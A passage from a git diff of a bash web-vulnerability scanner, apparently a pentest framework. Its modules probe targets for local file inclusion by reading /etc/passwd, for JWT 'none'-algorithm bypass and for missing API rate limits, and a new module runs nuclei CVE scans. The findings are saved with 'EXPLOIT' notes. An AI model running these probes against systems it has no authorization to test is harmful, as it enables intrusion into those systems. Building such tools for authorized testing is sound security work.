"$PASSWD_PATTERN"; then + print_find "LFI confirmed via $param!" "Read /etc/passwd" + echo "SEVERITY: CRITICAL +VECTOR: Local File Inclusion +DETAIL: Confirmed LFI on $target via parameter '$param' +EVIDENCE: Successfully read /etc/passwd +EXPLOIT: $test_url" > "$REPORTS_DIR/.finding_$(date +%s)_lfi-probe.txt" + findings=$((findings + 1)) + break 2 + fi + done + done + fi + fi + + if [ "$findings" -eq 0 ]; then + print_ok "No LFI confirmed (tested $tested combos)" + fi return $findings } diff --git a/vectors/12-jwt.sh b/vectors/12-jwt.sh index 02d4ec7..4571440 100755 --- a/vectors/12-jwt.sh +++ b/vectors/12-jwt.sh @@ -1,11 +1,11 @@ -1|#!/usr/bin/env bash -2|# Vector 12: JWT Attacks -3|# Desc: JWT token manipulation (none alg, weak keys, etc.) -4|# Detect: JWT tokens in cookies, headers, or params -5|# Severity: HIGH -6|# Tools: curl, jq -7| -8|vector_jwt() { +#!/usr/bin/env bash +# Vector 12: JWT Attacks +# Desc: JWT token manipulation (none alg, weak keys, etc.) +# Detect: JWT tokens in cookies, headers, or params +# Severity: HIGH +# Tools: curl, jq + +vector_jwt() { local target="$1" local report="$2" local findings=0 @@ -46,23 +46,22 @@ if echo "$response" | grep -qi "admin\|dashboard\|profile\|200\|success"; then print_find "JWT 'none' algorithm bypass!" "Token accepted without signature" echo "SEVERITY: CRITICAL -49|VECTOR: JWT Algorithm Confusion (none) -50|DETAIL: Server accepts 'alg:none' JWT token on $target -51|EVIDENCE: Token with 'none' alg accepted by server -52|EXPLOIT: Replace alg with 'none', remove signature, gain unauthorized access" > "$REPORTS_DIR/.finding_$(date +%s)_jwt-none.txt" +VECTOR: JWT Algorithm Confusion (none) +DETAIL: Server accepts 'alg:none' JWT token on $target +EVIDENCE: Token with 'none' alg accepted by server +EXPLOIT: Replace alg with 'none', remove signature, gain unauthorized access" > "$REPORTS_DIR/.finding_$(date +%s)_jwt-none.txt" findings=$((findings + 1)) fi # Save JWT info for report echo "SEVERITY: INFO -58|VECTOR: JWT Token Discovery -59|DETAIL: JWT token found on $target -60|EVIDENCE: Token: ${jwt:0:80}... -61|EXPLOIT: Try jwt_tool for further analysis" > "$REPORTS_DIR/.finding_$(date +%s)_jwt-found.txt" +VECTOR: JWT Token Discovery +DETAIL: JWT token found on $target +EVIDENCE: Token: ${jwt:0:80}... +EXPLOIT: Try jwt_tool for further analysis" > "$REPORTS_DIR/.finding_$(date +%s)_jwt-found.txt" else print_skip "No JWT tokens found" fi return $findings -67|} -68| \ No newline at end of file +} diff --git a/vectors/14-api-abuse.sh b/vectors/14-api-abuse.sh index 5ab57a2..d31988f 100755 --- a/vectors/14-api-abuse.sh +++ b/vectors/14-api-abuse.sh @@ -1,11 +1,11 @@ -1|#!/usr/bin/env bash -2|# Vector 14: API Abuse & Security Testing -3|# Desc: Rate limiting, auth bypass, mass assignment, parameter pollution -4|# Detect: API endpoints /api/, /v1/, /rest -5|# Severity: HIGH -6|# Tools: curl -7| -8|vector_apiab() { +#!/usr/bin/env bash +# Vector 14: API Abuse & Security Testing +# Desc: Rate limiting, auth bypass, mass assignment, parameter pollution +# Detect: API endpoints /api/, /v1/, /rest +# Severity: HIGH +# Tools: curl + +vector_apiab() { local target="$1" local report="$2" local findings=0 @@ -54,14 +54,13 @@ if [ "$rate_check" -eq 0 ]; then print_warn "No rate limiting detected on $endpoint" echo "SEVERITY: MEDIUM -57|VECTOR: Missing Rate Limiting -58|DETAIL: No rate limiting on $endpoint -59|EVIDENCE: 10 rapid requests without 429/503 response -60|EXPLOIT: Enables brute force, credential stuffing, DoS" > "$REPORTS_DIR/.finding_$(date +%s)_ratelimit.txt" +VECTOR: Missing Rate Limiting +DETAIL: No rate limiting on $endpoint +EVIDENCE: 10 rapid requests without 429/503 response +EXPLOIT: Enables brute force, credential stuffing, DoS" > "$REPORTS_DIR/.finding_$(date +%s)_ratelimit.txt" findings=$((findings + 1)) fi done return $findings -66|} -67| \ No newline at end of file +} diff --git a/vectors/21-nuclei.sh b/vectors/21-nuclei.sh new file mode 100644 index 0000000..5c58e57 --- /dev/null +++ b/vectors/21-nuclei.sh @@ -0,0 +1,106 @@ +#!/usr/bin/env bash +# Vector 21: Nuclei — Real CVE Detection +# Desc: Runs nuclei templates against discovered endpoints to find real CVEs +# Detect: Any target with reachable endpoints +# Severity: CRITICAL +# Tools: nuclei + +vector_nuclei() { + local target="$1" + local report="$2" + local domain=$(get_domain "$target") + local findings=0 + + print_info "Running Nuclei — real CVE detection..." + + if ! command -v nuclei &>/dev/null; then + print_skip "nuclei not installed. Skipping CVE scanning." + return 0 + fi + + # Check nuclei templates exist + if [ ! -d "$HOME/nuclei-templates" ] && [ ! -d "/root/nuclei-templates" ]; then + print_warn "Nuclei templates not found. Updating..." + nuclei -update-templates 2>/dev/null | tail -1 + fi + + # Nuclei output file + local nuclei_out="$REPORTS_DIR/.${domain}_nuclei.json" + + print_sub "Scanning with nuclei (severity: critical, high, medium)..." + print_info "This may take 1-3 minutes..." + + # Run nuclei with focused templates + nuclei -u "$target" \ + -severity critical,high,medium \ + -json \ + -o "$nuclei_out" \ + -rate-limit 50 \ + -concurrency 10 \ + -timeout 8 \ + -retries 1 \ + -silent 2>/dev/null & + + local nuclei_pid=$! + + # Show spinner while waiting + local waited=0 + while kill -0 $nuclei_pid 2>/dev/null; do + sleep 2 + waited=$((waited + 2)) + if [ $waited -ge 120 ]; then + print_warn "Nuclei timeout (2min), killing..." + kill $nuclei_pid 2>/dev/null + break + fi + done + + wait $nuclei_pid 2>/dev/null + + # Parse results + if [ -f "$nuclei_out" ] && [ -s "$nuclei_out" ]; then + local vuln_count=$(wc -l < "$nuclei_out" | tr -d ' ') + + if [ "$vuln_count" -gt 0 ]; then + print_find "Nuclei found $vuln_count vulnerabilities!" + + while IFS= read -r line; do + [ -z "$line" ] && continue + + local template=$(echo "$line" | jq -r '.templateID // "unknown"' 2>/dev/null) + local name=$(echo "$line" | jq -r '.info.name // "Unknown"' 2>/dev/null) + local severity=$(echo "$line" | jq -r '.info.severity // "unknown"' 2>/dev/null) + local matched=$(echo "$line" | jq -r '.matched // ""' 2>/dev/null) + local curl_cmd=$(echo "$line" | jq -r '.curl-command // ""' 2>/dev/null) + local extract=$(echo "$line" | jq -r '.extracted-results // [] | join(", ")' 2>/dev/null) + + local sev_upper=$(echo "$severity" | tr '[:lower:]' '[:upper:]') + + # Save finding + echo "SEVERITY: $sev_upper +VECTOR: Nuclei - $template +DETAIL: $name on $matched +EVIDENCE: $extract +EXPLOIT: $curl_cmd" > "$REPORTS_DIR/.finding_$(date +%s)_nuclei-${template}.txt" + + findings=$((findings + 1)) + + # Print to screen + case "$severity" in + critical) echo -e " ${BRIGHT_RED}🔴 [CRITICAL]${NC} $name" ;; + high) echo -e " ${RED}🟠 [HIGH]${NC} $name" ;; + medium) echo -e " ${YELLOW}🟡 [MEDIUM]${NC} $name" ;; + *) echo -e " ${BLUE}🔵 [$severity]${NC} $name" ;; + esac + [ -n "$matched" ] && echo -e " ${DIM} $matched${NC}" + + done < "$nuclei_out" + else + print_ok "Nuclei found no vulnerabilities" + fi + else + print_ok "Nuclei found no vulnerabilities" + fi + + return $findings +}